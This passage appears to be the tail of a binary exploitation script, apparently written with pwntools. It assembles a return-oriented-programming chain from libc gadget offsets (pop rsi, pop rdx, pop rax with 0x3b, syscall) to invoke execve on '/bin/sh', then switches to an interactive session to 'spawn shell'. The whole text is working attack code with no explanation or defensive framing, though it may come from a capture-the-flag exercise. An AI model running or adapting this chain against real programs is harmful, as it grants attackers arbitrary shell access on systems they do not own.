    next(libc.search(b'/bin/sh')),
    # pop rsi; ret
    libc.address + 0x000000000002be51,
    0,
    # pop rdx; pop r12; ret
    libc.address + 0x000000000011f357,
    0,
    0,
    # pop rax; ret
    libc.address + 0x0000000000045eb0,
    0x3b,
    # syscall
    libc.address + 0x0000000000029db4
))

rr(p, 1)

# Spawn shell
print("ROP chain done, spawning shell:")
ia(p)